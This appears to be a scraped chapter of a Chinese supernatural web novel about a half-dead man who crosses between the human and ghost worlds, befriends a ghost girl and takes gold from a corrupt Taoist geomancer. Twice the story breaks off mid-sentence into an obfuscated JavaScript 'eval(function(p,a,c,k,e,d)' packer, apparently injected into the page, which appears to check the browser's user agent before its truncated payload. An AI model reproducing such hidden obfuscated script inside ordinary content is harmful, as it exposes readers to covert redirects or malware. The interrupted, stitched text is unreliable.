屋子里的惨状映入眼底—— 穿道士服的无头尸体倒在门边,脖子断口的血还没完全凝固,在地板上洇开一大片暗红,还有四周墙上溅到的脑组织碎块。 床上躺着一个年轻人,浑身插满管子,管子连着仪器,仪器屏幕上只剩一条直直的横线。眼睛大大瞪着,显然死不瞑目。 床边跪着个女人,浑身是血,一动不动,像尊雕塑。还有个男人,也傻了,呆呆地站着没有反应。 此情此景不言而喻:白跑一趟。 谢倦迟郁闷的收回目光。 这时外面传来一阵嘈杂声。 “对,有一个没见过的陌生人闯了进来!” 谢倦迟一顿,他可不想被抓住。先不说他在现世没有身份,准确来说,他在现世的身份是已死亡状态,若被国家查出来就麻烦了—— 就说他本身怕麻烦的性格,就让他不会允许自己被抓住。 最后看了一眼床上失去生命体征的年轻人,谢倦迟遗憾的收回视线。 白忙活一场,还不如什么都不干呢。 一声叹息在空中消散,谢倦迟的身影像被橡皮擦擦去,从原地消失。 下一秒,做饭阿姨领着四个保安冲上二楼,只见其中一扇门大开着。 阿姨:“那是少爷的房间。少爷最近生病,刚从医院接回来,夫人和先生也都在。嗯......还有一名贵客。” 阿姨简单说明了一下情况,四位保安则已经闻到了一股浓烈的铁锈味。 有钱人的小区雇的保安自然是拥有相当职业能力的。负责今天值守大门、也是之前拦下谢倦迟的那名保安,就叫他小王吧,曾在部队当过兵,他的同事也不遑多让。 而本来只有小王一人,但因为追不上谢倦迟,他摇来了三个正在其他区域巡逻的同事,才有了现在四名保安到位的场面。 此时,这一行四人都察觉到了异常,互相对视一眼,都从彼此眼里看到了警惕。 阿姨不明所以,向那扇敞开的门走去。 “我去跟夫人和先生说一下家里进贼了......” 话还没说完,被小王拽住胳膊制止。 阿姨回头,一脸迷茫:“怎么——” “可能出事了。”小王压低声音道,“你别动。” 四人纷纷掏出甩棍,不需要指令,队形自动拉开:一个突前,一个殿后,两个左右掩护。脚步放轻,呼吸压住,一前一后往那扇门移动。 他们陆续进入房间,待看清房间里的画面后,皆愣住。 外面等待的阿姨一直没得到消息,焦急不已,想出声问,又怕惊扰到什么,可她到底是憋不住,一咬牙,鼓起勇气走到门口,探头往里一看,脸色唰的一下就白了,尖叫道: “啊!死人了!” ... ... 谢倦迟利用往返里外世界的能力成功悄无声息的撤离了别墅区,怜爱地摸了摸口袋里仅剩的有零有整的六百来块钱,眉眼间蒙上一层愁绪。 按照经验,他只有在身上低于五块钱的时候,才会触发“钱从天降”的被动技能。而六百块,够买好几箱泡面,吃上一两个月的。 可他就是为了不吃泡面才行动起来搞钱的。 无奈竹篮打水一场空...... 至于为什么不把六百块花下五块,那样不就能触发“被动buff”了。谢倦迟难道没试过吗?他试过了,差点饿死。 那次后他就明白了,老天不会让他轻松活着的。 叹了口气,谢倦迟双手插兜,恹恹地往前走,手指忽然碰到一个冰凉的东西,掏出来一看,是张银行卡。 裴沉给他的那张。 真是柳暗花明又一村。 谢倦迟眼睛一下就亮了,翻来覆去确认银行卡所属银行后掏出手机,打开地图,搜索附近的xx银行,最近的一家离他仅五百米。 ——你问裴沉死了,卡里的钱还能取出来吗? 只要他家人还没去销户,就能取。尽管这个可能性微乎其微......谢倦迟属于是抱着三分侥幸心理,跟着导航,再过一条马路,前面就是那家银行。 行人信号灯上的红色小人亮着,上面的数字均匀倒计时:59,58,57 马路上车来车往,路上行人匆匆,每个人都有自己的目的地,都有自己的归处。至少普世意义上来说是这样,哪怕是流浪汉,人家在现世、在社会层面上也是被承认的。 只有谢倦迟,身为一个死又没完全死成,活也不算是活着的“活死人”,两方世界都不承认他。 2,1,0。 红色小人熄灭,绿色小人亮起。 谢倦迟下意识抬脚,一辆车几乎是擦着他过去。 急刹声刺进耳朵,车窗摇下来,司机探出脑袋,怒骂道:“你小子是不是想死?!有没有素质啊?居然闯红灯!” 骂完,司机一脚油门,很快就开远了。 谢倦迟站在原地,神色不明。他抬头看了一眼信号灯,分明是红灯,距离绿灯还有十五秒。 又一辆车从他面前开过。 对面马路上不知什么时候站了一个女孩,长相秀丽,白色连衣裙,一头乌黑长发披下来,垂到腰际。谢倦迟对上女孩的视线,女孩冲他眨了眨眼睛,抬手打招呼。 谢倦迟没理,假装没看见。 女孩歪了歪头,直接喊出声:“那个——帅哥!” 谢倦迟还是没动。 一辆公交车从面前驶过,车厢里灯光明亮,乘客的脸在窗上一一闪过去。 前后不过三秒,等公交车开走,马路对面的女孩不见了。 信号灯这时跳到绿色,谢倦迟抬脚,过了马路。 这回没有意外,安全抵达对面。只是两只脚刚踏上人行道,谢倦迟就感到自己的肩膀被人拍了下。 止步,回头。 还是那个女孩,站在他身后,一脸惊喜。 “帅哥。”她眼睛弯起来,“我就知道你能看到我。” ... ... 奶茶店。 玻璃门推开又关上,带进来一阵舒爽的夜风。收银台后面的两个小姑娘闻声抬头看了眼,随即都呆了下。 其中一个用胳膊肘捅了捅另一个,压低声音:“帅。” 另一个点点头,没说话,目光跟着那个人移到角落的座位。 那人坐下后用手机扫码点单。 很快,他的单子就出来了。 “两杯都是冰的,一杯芋泥波波,一杯芝士葡萄。”两人中个子矮一点的那个小姑娘报完单,跟高个子一人负责一杯做了起来。 三分钟后,两杯奶茶做好了。矮个子的小姑娘端着托盘送去。 帅哥说了声谢谢,接过奶茶,却没放到自己面前,而是把两杯奶茶都摆到了桌子对面,然后开口道:“不知道你喜欢什么口味,随便点的。” 对着空气说的。 小姑娘愣了下,转身往回走。回到收银台,她拽了拽同事的袖子,小声道:“哇靠,见鬼了。” 说着,让同伴看角落。 那个帅哥还在对着空座位说话,表情很淡,偶尔点一下头。 高个子默了下:“人帅是很帅,但不会脑子有问题吧?” 矮个子:“说不定人家是在拍视频呢?” “可我也没看到手机或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女孩愣了下,随即笑起来,眼睛弯成两道月牙,托着腮一脸娇羞:“哇,好冷酷,更喜欢了!” 谢倦迟:“。” “奶茶也请你喝了,别跟着我了。” 说完正准备抽身离开,忽然停下。 ——一份合同凭空出现在女孩面前。 女孩愣了下,低头望向那份合同,眨了眨眼,伸手拿起来。 “租房合同......”她照着念出声,然后抬起头,看向谢倦迟,好奇的问:“这是什么?” *** 深夜。 地下室。 昏黄的灯泡是这间屋子里唯一的光源。 房间中间放着一个佛龛,木头做的,漆面斑驳。佛龛里供着一个牌位,上面刻着字,看不清是什么。 一个老头跪在佛龛前面,穿着脏兮兮的道士服,额头布满冷汗,顺着皱纹滴在地上。 他抖着手,抓起一把香,哆哆嗦嗦地点燃,插进香炉里,接着跪好,磕头,额头抵在地上,嘴里念念有词。 “感谢騩神仁慈,助信民脱劫。信民今献香烛三柱,以表诚心。求騩神再佑信民,此后定当供奉不绝......” 如果王家夫妇在场,就会认出来,这不是他们请来的那位大师吗,只是人苍老了一些,头发更白,褶子更深,眼窝凹进去,整个人像被抽走了一截。 11. 第 11 章 最后钱果然没能取出来。 ATM机的屏幕上跳出一行字:该账户已冻结。谢倦迟盯着这行字看了两秒,把卡抽出来,揣回兜里。 意料之中。所以尽管难免还是失望,但不多。 “哇——”林芝芝跟在谢倦迟身后,一脸崇拜,“没想到你居然是个包租公,好厉害!” 说着她飘到谢倦迟旁边,凑近了看他的表情:“死后的世界或许和我想象的不一样,但有钱人肯定是相似的。就好比丑是千奇百怪,美总是一致的。” 谢倦迟不语,神色冷淡。 此时此刻,他心情略微复杂。 旁边叽叽喳喳个没完的小诡很弱。弱到什么程度?一个月能产一百诡气都算烧高香。 至于诡物,那种东西一般是伴身随机产生,越厉害的诡越容易拥有,弱小的诡基本别想。而女孩一看就是那种什么都没有的穷诡,租得起房才怪。所以谢倦迟一开始问都没问。 可公寓主动放出了契约,收费要求也没变,依旧是八百诡气,或者等值诡物。但一个人没有的东西,打死他也拿不出来。同理,这小诡不可能拿得出租金。 然而人家就是签成功了,契约也承认。 谢倦迟垂下眼睫,浓密纤长的睫毛掩住他眼底的情绪。 公寓不存在赊账,换句话说,交不起钱是无法在合同上签下自己的名字的。 ......几乎是明着告诉他女孩不对劲了,若这样谢倦迟都看不出来,那他就是傻子。 谢倦迟当然不是傻子,所以他看出来了。 不过就算公寓不提醒,谢倦迟也不会对任何诡放松警惕,何况—— “信号灯是你动的手脚吧。”谢倦迟冷不丁开口道。 林芝芝顿了顿,笑嘻嘻道:“你这不是没死吗。” 谢倦迟冷淡反问:“如果我死了呢。” 林芝芝撒娇道:“我们不要假设不存在的事情嘛。” 谢倦迟侧目定定看了她两秒。 人都有欲望,有的能控制,有的控制不住,放任自己堕落。 而变成诡之后,这种特质会被无限放大,好比人老了以后脑部发生变化,控制性格的区域模块萎缩,导致有人年轻时候和善温柔,老了变得狭隘挑剔。这是有科学证明的。 但也有人说那是本性暴露,年轻的时候能装,老了装不下去了。 不过不管是哪种说法,对于诡而言,欲望放大百倍是铁律——百倍的欲望,和du瘾级别差不多了,很少有诡能忍得住。 到了这个程度,完全就是变成了欲望的傀儡。 综上所述,谢倦迟对于诡看得很开,也很佛系。毕竟是个正常人都知道不能指望没开智的动物懂得礼义廉耻。 林芝芝被盯得有些发毛,一脸无辜的小心翼翼道:“你生气了吗?” 谢倦迟没回答。他不生气。都说了对诡没有指望。他只是在想另一件事:国内不方便干的事,去国外干呢? 黑吃黑那种。比如诈骗园区...... “你缺钱对吗?”林芝芝忽然开口,“我是说活人的钱。你刚才取钱没成功,看得出来很沮丧,都挂脸上了。” 谢倦迟抬起眼皮,淡淡看了她一眼。 林芝芝一个激灵,赶忙举手:“我知道有个地方很有钱!我带你去!” 谢倦迟慢吞吞开口:“我不干违法的事。” 林芝芝愣住,瞪大眼睛,上下打量谢倦迟,像在看什么珍稀动物。 半晌,她“呃”了一声,试探道:“那笔钱算是不义之财,你不用也是坏人用......你真的不要吗?” 谢倦迟:“指。” 林芝芝眉眼弯弯,立马转身,小手一挥:“好嘞老大!跟我来,在这边!” *** 林芝芝带谢倦迟去的地方是郊区的一栋别墅。 说是郊区,但在首都这地界,能有什么真郊区?也就是从三环开到五环外,再从五环拐进一条林荫道,七拐八绕,最后停在一扇大铁门前。 别墅三层,没有灯光,黑黢黢地立在那儿,像尊沉默的巨兽。院子里杂草丛生,有段时间没人打理了。 林芝芝飘进去,谢倦迟跟在后面。 穿过客厅,进入一间没有上锁的房间,里面摆放的是书柜和桌子,很显然是书房。 林芝芝停在书架前,伸手够了一下,够不着,讪讪缩回手,指挥道:“那个,最上面那层,左边第三本书,拉一下。” 谢倦迟依言抬手,把那本书拉出来。 “咔哒”一声轻响。 书架从中间裂开一道缝,然后缓缓往两边滑开,露出背后一扇门。门后是向下延伸的楼梯,黑漆漆的,看不见底。 谢倦迟看着那道门,一时不知道说什么。 他还以为这种机关只会在影视剧和小说里出现,没想到现实里真有。 一人一诡往下走。 黑暗对谢倦迟没有影响,他平稳下楼。大概下了两层楼的高度,走了二十多级台阶,终于到底了。 谢倦迟看见了一屋子的金条,码得整整齐齐,一摞一摞,从地上堆到腰那么高,金灿灿的,在黑暗中泛着柔和的光,那光落进眼睛里,刺得人有点恍惚。 谢倦迟的口腔开始疯狂分泌口水,原来是大脑自动联想了各种画面:热气腾腾的火锅,滋滋冒油的烤肉,刚出锅的红烧肉,裹满酱汁的糖醋排骨...... 这才是人该吃的东西,泡面什么的偶尔吃吃是人间美味,吃多了和shi没有区别。 嗯,其实任何食物都是。 动手之前,谢倦迟转头看向林芝芝。 “你确定这是不义之财?” 林芝芝:“确定啊!谁家好人会储备这么大量的黄金?况且国家也不允许呀!” 谢倦迟还是有些犹豫,没动。 林芝芝见状叹了口气,无奈道:“行吧行吧,我跟你说清楚。” 她飘到一堆金条上坐下,晃着腿。 “这金子的主人是个风水师,在外面喜欢标榜自己是道士,但他是个屁的道士,就算是道士,也是邪道士,只要给钱,什么都干,诅咒他人,搞得人家家破人亡,诸如此类恶行,他没少干。” “就说有那么一户人家吧,生意很好,竞争对手红眼看不过去,雇他整人家,他也是很有职业操守啊,把人家搞得欠债累累,最后一家子一起点炭自杀了。还有......” 林芝芝把自己知道的那些缺德事全抖出来。说着说着,她忽然感觉不对,声音越来越小,到最后完全噤声。 ——谢倦迟还是那副样子,脸上没有表情。但这会儿的没有表情,是那种很冷的没有表情,冷得渗人。 林芝芝眼皮跳了跳,飘下来,随时准备跑路。 “你......没事吧?”她小心询问。 谢倦迟开口:“知道他是谁吗?” “当然知道啊。”林芝芝一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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咬了咬牙,老道眼里闪过一抹狠色,在心里默念咒语,请神降临。 一股冰冷的气息从虚空中渗透进来。 谢倦迟动作一顿,他感觉自己的身体像被什么东西定住。虽然只有一瞬间,但这一瞬间的滞涩够了—— 老道抓住机会,掐诀缩地成寸,消失在原地,留下谢倦迟脸色晦暗不明。 ......有什么在注视他,来自另一个空间。而那个空间,他也很熟悉。 可以肯定的是视线的主人实力绝对不弱。正常来说,对方不可能影响到现世才对:两个世界之间存在壁垒,隔着法则,越强大的诡,法则对其的约束力越大。 但现在,对方已经能伸出触手影响到现世了。 这是一个相当糟糕的信号。 暂时压下这点不谈,谢倦迟肯定是打不过对方的。但这是在现世。现世有现世的规矩,他可以利用这个规矩教训一下对方。 谢倦迟闭上眼,主动释放一点属于诡异世界的力量。 那头的注视强度果不其然立刻加大了。 谢倦迟等的就是这一刻。他猛地睁开眼,眼底浮现一抹金色,那金色耀眼得犹如圣火,神圣不可侵犯。 虚空中传来一声惨叫。 诡异世界,红雾区。 一个形象半人半马的诡坐在城堡里的王座上,它刚把意识探入现世,想看看到底是谁在它面前放肆—— 然后它看到了一抹金色。 还没来得及反应,那金色就烧了过来,像被烙铁直接按在眼球上。 它惨叫一声,双手捂住脸,身体往后仰,从王座上摔下来。鲜血从指缝里渗出来,滴在地上,很快汇成一小滩。